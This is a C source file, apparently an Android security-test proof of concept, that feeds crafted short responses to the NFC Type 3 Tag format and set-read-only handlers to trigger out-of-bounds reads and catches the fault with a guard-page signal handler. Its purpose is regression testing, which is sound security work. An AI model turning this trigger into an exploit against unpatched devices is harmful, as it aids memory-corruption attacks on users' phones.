1 /*
2 * Copyright (C) 2021 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <stdlib.h>
18 #include <string.h>
19 #include <nfc_int.h>
20 #include <nfc_api.h>
21 #include <tags_defs.h>
22 #include <rw_int.h>
23 #include <unistd.h>
24 #include "../includes/common.h"
25 #include "../includes/memutils.h"
26
27 char enable_selective_overload = ENABLE_NONE;
28 char *vulnPtr = nullptr;
29
30 bool testInProgress = false;
31 struct sigaction new_action, old_action;
sigsegv_handler(int signum,siginfo_t * info,void * context)32 void sigsegv_handler(int signum, siginfo_t *info, void* context) {
33 if (testInProgress && info->si_signo == SIGSEGV) {
34 const size_t page_size = getpagesize();
35 const size_t page_mask = (~(page_size - 1));
36 if (page_size) {
37 char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & page_mask) + page_size;
38 char *faultPage = (char *) ((size_t) info->si_addr & page_mask);
39 if (faultPage == vulnPtrGuardPage) {
40 (*old_action.sa_sigaction)(signum, info, context);
41 return;
42 }
43 }
44 }
45 _exit(EXIT_FAILURE);
46 }
47
48 #define T3T_MSG_FELICALITE_MC_OFFSET 0x01
49
50 extern tRW_CB rw_cb;
51 extern tNFC_CB nfc_cb;
52 tNFC_CONN *p_data;
53 void rw_init(void);
54 tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
55 uint8_t mrti_check, uint8_t mrti_update);
56
allocate_memory(size_t size)57 void *allocate_memory(size_t size) {
58 void *ptr = memalign(16, size);
59 memset(ptr, 0x0, size);
60 return ptr;
61 }
62
63 /* States */
64 enum {
65 RW_T3T_STATE_NOT_ACTIVATED,
66 RW_T3T_STATE_IDLE,
67 RW_T3T_STATE_COMMAND_PENDING
68 };
69
70 /* Enumeration of API commands */
71 enum {
72 RW_T3T_CMD_DETECT_NDEF,
73 RW_T3T_CMD_CHECK_NDEF,
74 RW_T3T_CMD_UPDATE_NDEF,
75 RW_T3T_CMD_CHECK,
76 RW_T3T_CMD_UPDATE,
77 RW_T3T_CMD_SEND_RAW_FRAME,
78 RW_T3T_CMD_GET_SYSTEM_CODES,
79 RW_T3T_CMD_FORMAT,
80 RW_T3T_CMD_SET_READ_ONLY_SOFT,
81 RW_T3T_CMD_SET_READ_ONLY_HARD,
82 RW_T3T_CMD_MAX
83 };
84
85 /* Sub-states */
86 enum {
87 /* Sub states for formatting Felica-Lite */
88 RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
89 formatting) */
90 RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
91 block-read to complete */
92 RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
93 block-write to complete */
94 RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
95 to complete */
96
97 /* Sub states for setting Felica-Lite read only */
98 RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
99 setting read only) */
100 RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
101 to complete */
102 RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
103 block-read to complete */
104 RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
105 block-write to complete */
106 };
107
poc_cback(tRW_EVENT event,tRW_DATA * p_rw_data)108 void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
109 (void)event;
110 (void)p_rw_data;
111 }
112
GKI_start_timer(uint8_t,int32_t,bool)113 void GKI_start_timer(uint8_t, int32_t, bool) {
114 }
115
GKI_stop_timer(uint8_t)116 void GKI_stop_timer(uint8_t) {
117 }
118
GKI_freebuf(void *)119 void GKI_freebuf(void*) {
120 }
121
trigger_OOB_via_rw_t3t_act_handle_fmt_rsp()122 int trigger_OOB_via_rw_t3t_act_handle_fmt_rsp(){
123 tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
124
125 GKI_init();
126 rw_init();
127 rw_cb.p_cback = &poc_cback;
128
129 uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
130 uint8_t mrti_check = 1, mrti_update = 1;
131 enable_selective_overload = ENABLE_MEMALIGN_CHECK;
132 FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
133
134 p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
135 FAIL_CHECK(p_data);
136
137 p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
138 enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
139 if (!(p_data->data.p_data)) {
140 free(p_data);
141 FAIL_CHECK(p_data->data.p_data);
142 }
143 vulnPtr = (char *)p_data->data.p_data;
144 p_data->status = NFC_STATUS_OK;
145
146 p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
147 p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
148 p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
149
150 NFC_HDR* p_msg = (p_data->data).p_data;
151 p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
152
153 uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
154 p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
155 p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
156
157 uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
158 p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = !T3T_MSG_FELICALITE_MC_OFFSET;
159
160 tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
161 tNFC_CONN_EVT event = NFC_DATA_CEVT;
162 memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
163 NCI_NFCID2_LEN);
164 testInProgress = true;
165 p_cb->p_cback(0, event, p_data);
166 testInProgress = false;
167 free(p_data->data.p_data);
168 free(p_data);
169 return EXIT_SUCCESS;
170 }
171
trigger_OOB_via_rw_t3t_act_handle_sro_rsp()172 int trigger_OOB_via_rw_t3t_act_handle_sro_rsp(){
173 tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
174
175 GKI_init();
176 rw_init();
177 rw_cb.p_cback = &poc_cback;
178
179 uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
180 uint8_t mrti_check = 1, mrti_update = 1;
181 enable_selective_overload = ENABLE_MEMALIGN_CHECK;
182 FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
183
184 tNFC_CONN *p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
185 FAIL_CHECK(p_data);
186
187 p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
188 enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
189 if (!(p_data->data.p_data)) {
190 free(p_data);
191 FAIL_CHECK(p_data->data.p_data);
192 }
193 vulnPtr = (char *)p_data->data.p_data;
194 p_data->status = NFC_STATUS_OK;
195
196 p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
197 p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
198 p_t3t->rw_substate = RW_T3T_SRO_SST_CHECK_MC_BLK;
199
200 NFC_HDR* p_msg = (p_data->data).p_data;
201 p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
202
203 uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
204 p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
205 p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
206
207 uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
208 p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = T3T_MSG_FELICALITE_MC_OFFSET;
209
210 tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
211 tNFC_CONN_EVT event = NFC_DATA_CEVT;
212
213 testInProgress = true;
214 p_cb->p_cback(0, event, p_data);
215 testInProgress = false;
216 free(p_data->data.p_data);
217 free(p_data);
218 return EXIT_SUCCESS;
219 }
220
main()221 int main() {
222 sigemptyset(&new_action.sa_mask);
223 new_action.sa_flags = SA_SIGINFO;
224 new_action.sa_sigaction = sigsegv_handler;
225 sigaction(SIGSEGV, &new_action, &old_action);
226 int ret = trigger_OOB_via_rw_t3t_act_handle_fmt_rsp();
227 ret |= trigger_OOB_via_rw_t3t_act_handle_sro_rsp();
228 return ret;
229 }
230